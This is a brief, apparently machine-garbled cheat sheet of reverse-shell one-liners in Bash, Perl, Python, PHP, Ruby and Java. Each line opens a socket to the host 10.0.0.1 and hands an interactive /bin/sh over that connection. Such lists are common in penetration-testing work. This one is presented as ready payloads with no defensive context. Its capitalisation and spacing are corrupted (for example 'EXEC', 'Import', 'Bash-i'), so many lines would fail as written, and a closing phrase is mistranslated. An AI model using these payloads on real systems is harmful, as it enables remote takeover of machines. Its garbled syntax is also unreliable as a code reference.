Bash [NOT generic, related to Linux distributions, tested successfully on Ubuntu]
Bash-i >&/dev/tcp/10.0.0.1/8080 0>&1
Perl
Perl-e ' use Socket; $i = "10.0.0.1"; $p =1234;socket (S,pf_inet,sock_stream,getprotobyname ("TCP")); if (Connect (S), Sockaddr_in ($p, Inet_aton ($i))) {Open (STDIN, ">&s"), open (STDOUT, ">&s"), open (STDERR, ">&s"); EXEC ("/bin/sh-i");}; '
Python
Python-c ' Import socket,subprocess,os;s=socket.socket (socket.af_inet,socket. SOCK_STREAM); S.connect (("10.0.0.1", 1234)); Os.dup2 (S.fileno (), 0); Os.dup2 (S.fileno (), 1); Os.dup2 (S.fileno (), 2);p =subprocess.call (["/bin/sh", "-I"]); '
Php
Php-r ' $sock =fsockopen ("10.0.0.1", 1234); EXEC ("/bin/sh-i <&3 >&3 2>&3"); '
Ruby
Ruby-rsocket-e ' F=tcpsocket.open ("10.0.0.1", 1234). To_i;exec sprintf ("/bin/sh-i <&%d >&%d 2>&%d ", F,f,f) '
Java
R = Runtime.getruntime () p = r.exec (["/bin/bash", "-C", "Exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read Line Do \ $line 2>&5 >&5; Done "] as string[]) p.waitfor ()
All languages a word bounce shell